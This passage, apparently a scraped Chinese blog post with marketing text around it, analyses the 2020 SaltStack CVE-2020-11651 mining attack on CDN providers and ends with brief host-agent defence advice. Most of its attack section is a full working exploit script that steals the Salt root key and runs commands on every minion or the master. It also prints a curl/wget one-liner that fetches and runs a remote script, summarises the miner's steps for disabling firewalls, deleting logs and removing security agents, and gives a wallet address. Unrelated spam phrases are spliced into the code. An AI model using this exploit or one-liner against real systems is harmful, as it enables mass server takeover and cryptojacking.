时间:2021-07-15 | 标签: | 作者:Q8 | 来源:bt0sea网络
小提示:您能找到这篇{浅谈CDN网络安全防护方案}绝对不是偶然,我们能帮您找到潜在客户,解决您的困扰。如果您对本页介绍的浅谈CDN网络安全防护方案内容感兴趣,有相关需求意向欢迎拨打我们的服务热线,或留言咨询,我们将第一时间联系您! |
< ">0x00、前言 < font-size: 16px;">今天通过SaltStack漏洞这个药引子,聊聊CDN网络安全防护这个话题。先聊聊,CDN定义:Content Delivery Network,内容分发网络,给用户带来的价值,加速获得其静态或者动态内容,典型的应用场景,360安全卫士中的软件安装,后台使用的就CDN网络。在比如目前比较火的抖音短视频,用户在某个地方上传视频后,几亿的用户都可以快速看到,很难想象,如果这个短视频在一台服务器上,几千万人同时去下载,网络堵塞延迟会多大? < font-size: 16px;">再聊聊SaltStack,是一个服务器基础架构集中化管理平台,几分钟之内就可以运行起来,速度特别快,服务器之间秒级通讯,扩展性好,很容易批量管理上万台服务器,显著的降低人力与运维成本。它是简化版的puppet,saltstack基于Python语言实现,结合轻量级消息队列(ZeroMQ),Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建,SaltStack是一套C/S架构的运维工具,服务端口默认为4505/4506,两个端口如果对外网开放危害非常大。 < font-size: 16px;">目前商业化的CDN绝大部分都在使用SaltStack做软件分发系统。黑客利用SaltStack的远程命令执行漏洞CVE-2020-11651可以直接绕过Salt-Master的认证机制,调用相关函数向Salt-Minion下发指令执行系统命令,最终导致挖矿。 < font-size: 16px;">0x01、攻击详情 < font-size: 16px;"> < font-size: 16px;">1、通过网络空间搜索引擎https://www.shodan.io/等获取 外网开发SaltStack master的主机列表。 < font-size: 16px;">2、通过cve-2020-11651.py批量执行,下载sa.sh脚本。< font-size: 16px;">获取到master key,在几分钟内就会吧命令传递到cdn服务器连接的client,*山云大约有几千台机器就是这么感染的。(curl -s x.x.x.x/sa.sh||wget -q -O- x.x.x.x/sa.sh)|sh < font-size: 16px;">def ping_master(): < font-size: 16px;"> print("Attempting to ping master at "+master_ip) < font-size: 16px;"> try: < font-size: 16px;"> msg = {"cmd":"ping"} < font-size: 16px;"> response = clear_channel.send(msg, timeout=3) < font-size: 16px;"> if response: < font-size: 16px;"> return True < font-size: 16px;"> except salt.exceptions.SaltReqTimeoutError: < font-size: 16px;"> return False < font-size: 16px;"> return False < font-size: 16px;">def get_rootkey(): < font-size: 16px;"> try: < font-size: 16px;"> response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2) < font-size: 16px;"> for i in response: < font-size: 16px;"> if isinstance(i,dict) and len(i) == 1: < font-size: 16px;"> rootkey = list(i.values())[0] < font-size: 16px;"> print("Retrieved root key: " + rootkey) < font-size: 16px;"> return rootkey < font-size: 16px;"> return False < font-size: 16px;"> except: < font-size: 16px;"> return False < font-size: 16px;">def send_command_to_minions(command): < font-size: 16px;"> print("Sending command to all minions on master") < font-size: 16px;"> jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow()) < font-size: 16px;"> cmd = "/bin/sh -c '{0}'".format(command) < font-size: 16px;"> msg = {'cmd':"_send_pub","fun":"cmd.run","arg":[cmd],"tgt":"*","ret":"","tgt_type":"glob","user":"root","jid":jid} < font-size: 16px;"> try: < font-size: 16px;"> response = clear_channel.send(msg,timeout=3) < font-size: 16px;"> if response == None: < font-size: 16px;"> return True < font-size: 16px;"> else: < font-size: 16px;"> return False < font-size: 16px;"> except: < font-size: 16px;"> return False < font-size: 16px;">def master_shell(root_key,command): < font-size: 16px;"> msg = {"key":root_key, < font-size: 16px;"> "cmd":"runner", < font-size: 16px;"> 'fun': 'salt.cmd', < font-size: 16px;"> "kwarg":{ < font-size: 16px;"> "fun":"cmd.exec_code", < font-size: 16px;"> "lang":"python3", < font-size: 16px;"> "code":"import subprocess;subprocess.call('{}',shell=True)".format(command) < font-size: 16px;"> }, < font-size: 16px;"> 'jid': '20200504042611133934', < font-size: 16px;"> 'user': 'sudo_user', < font-size: 16px;"> '_stamp': '2020-05-04T04:26:13.609688'} < font-size: 16px;"> try: < font-size: 16px;"> response = clear_channel.send(msg,timeout=3) < font-size: 16px;"> print("Got response for attempting master shell: "+str(response)+ ". Looks promising!") < font-size: 16px;"> return True < font-size: 16px;"> except: < font-size: 16px;"> print("something failed") < font-size: 16px;"> return False < font-size: 16px;">if __name__=="__main__": < font-size: 16px;"> if len(sys.argv) <= 2: < font-size: 16px;"> print("Not enough args") < font-size: 16px;"> print("Use like python3 cve-2020-11651.py) < font-size: 16px;"> sys.exit(1) < font-size: 16px;"> target = sys.argv[1] < font-size: 16px;"> master_minion_root = sys.argv[2] < font-size: 16px;"> master_ip = target < font-size: 16px;"> master_port = '4506' < font-size: 16px;"> minion_config = { < font-size: 16px;"> 'transport': 'zeromq', < font-size: 16px;"> 'pki_dir': '/tmp', < font-size: 16px;"> 'id':网店代运营怎么收费 'root', < font-size: 16px;"> 'log_level': 'debug', < font-size: 16px;"> 'master_ip': master_ip, < font-size: 16px;"> 'master_port': master_port, < font-size: 16px;"> 'auth_timeout': 5, < font-size: 16px;"> 'auth_tries': 1, < font-size: 16px;"> 'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port) < font-size: 16px;"> } < font-size: 16px;"> clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear') < font-size: 16px;"> if not ping_master(): < font-size: 16px;"> print("Failed to ping the specified master server, exiting") < font-size: 16px;"> sys.exit(1) < font-size: 16px;"> if master_minion_root == "master" or master_minion_root == "minions": < font-size: 16px;"> command = sys.argv[3] < font-size: 16px;"> rootkey = get_rootkey() < font-size: 16px;"> if not rootkey: < font-size: 16px;"> print("Failed to fetch the root key from the instance. This MAY indicate that it is patched") < font-size: 16px;"> sys.exit(1) < font-size: 16px;"> else: < font-size: 16px;"> &企业危机公关培训目的nbsp; if master_minion_root == "master": < font-size: 16px;"> master_shell(rootkey,command) < font-size: 16px;"> else: < font-size: 16px;"> send_command_to_minions(command) < font-size: 16px;"> elif master_minion_root == "fetchkeyonly": < font-size: 16px;"> get_rootkey() < font-size: 16px;"> else: < font-size: 16px;"> print("Invalid usage") < font-size: 16px;">3、执行sa.sh做以下操作: < font-size: 16px;">@1、关闭防火墙、设置ulimit、系统syslog日志删除、设置tmp目录权限关闭watchdog,设置ssh共哟啊文件权限,清理tmp目录等。 < font-size: 16px;">@2、干掉安骑士,云镜(用齐自身卸载脚本操作),看来阿里云和腾讯云的CDN网络受到严重的摧残,也说明黑客分子在不断的进化当中,因为很多时候,这种下载脚本在本机上有主机安全软件的情况下,都是无效的。 < font-size: 16px;">@3、清理cpu资源占用超过10%的进程,保证有更多的硬件资源可以挖矿。也间接终止其他挖矿进程。同时清理docker形式运行的挖矿进程。 < font-size: 16px;">@4、然后下载salt-store,释放出罗门币挖矿进程。 < font-size: 16px;">4、salt-store执行以下操作 < font-size: 16px;">@1、使用masscan扫描redis服务器,二进制分析 < font-size: 16px;">@2、样本传到virustotal上发现连接的连接C2地址(IP地址)。 < font-size: 16px;">由于3、4网上有很多分析,我就不在赘述,不过从整个入侵过程来看,黑客搞的这个脚本目的是短平快,C2更新使用的IP而非域名,这个有点low,但是他把挖矿程序开足马力,能挖多久就挖多久,门罗币钱包为: < font-size: 16px;">46V5WXwS3gXfsgR7fgXeGP4KAXtQTXJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6Jv < font-size: 16px;">VMuQwAXxLZmTWkb < font-size: 16px;">这个罗门币里面大约获利400万左右。正好赶上五一期间,但是黑客显然没有运维经验,CPU搞那么高,监控肯定能发现,大规模服务器出现CPU过高情况,肯定会有安全分析人员登录服务器检查。还有CDN会托管图片等静态资源,突然之间有超时的情况,也会引起重视的。估计4月30号开扫描,挖到5月3号。还有估计也没想到会有那么多CDN服务提供商中招。 < font-size: 16px;">0x02、CDN安全防护方案 < font-size: 16px;">针对CDN这种边缘服务,其实很难设计安全防护方案,因为,CDN厂商为了节省资源,二级节点一般部署10台二手服务器,处理带宽40——80G。一级节点也就20台服务器,做cache用。公有云CDN业务本身就是赔钱的买卖。你说上一套具备纵深防护体系的安全解决方案是不现实的。个人觉得只要在物理服务器上安装主机安全Agent就满足需求了。有的CDN厂商还在CDN机房扩建高防机房,复用带宽,这种情况下,针对主机层面的网络通讯流量,处理尤为重要。所以,主机安全Agent对网络流量的监控建议disable掉。主要能抓到挖矿进程就好。 |
上一篇:APP买量之外的运营,你有重视过吗?
下一篇:营销案例:梦加网络借力TAPJOY深度激励式广告(
基于对传统行业渠道的理解,对互联网行业的渠道我们可以下这样一个定义:一切...
小米应用商店的后台操作和苹果是比较相似的,因为都能填写100字符关键词,允许...
小米的规则目前是在变更中的,但是根据经验小米的搜索排名评分的高低是个很重...
为了恰饭,有时候是要接入一些广告的,所以FB也专门有一个广告的SDK,这就是A...
在 2018 年于旧金山举行的游戏开发者大会上,Amazon Web Services (AWS) 曾宣布,目前世...
关于Facebook Audience Network如何收款的问题,其实官方已经给了详细的步骤。本文主要...
本文介绍了Audience Network对广告载体的质量检查,以及它重点广告形式需要注意的问...
随着iOS开发,作为开发者或公司需要针对iOS App开发涉及的方方面面作出对应的信息...
Facebook和谷歌对出海企业广告渠道都很熟悉,但事实上,在国外还有一些渠道也很...
卖家从做号的第1分钟开始,就一定要想好变现路径是什么?一定要以变现为目的去...
小提示:您应该对本页介绍的“浅谈CDN网络安全防护方案”相关内容感兴趣,若您有相关需求欢迎拨打我们的服务热线或留言咨询,我们尽快与您联系沟通浅谈CDN网络安全防护方案的相关事宜。
关键词:浅谈CDN网络安全防护方案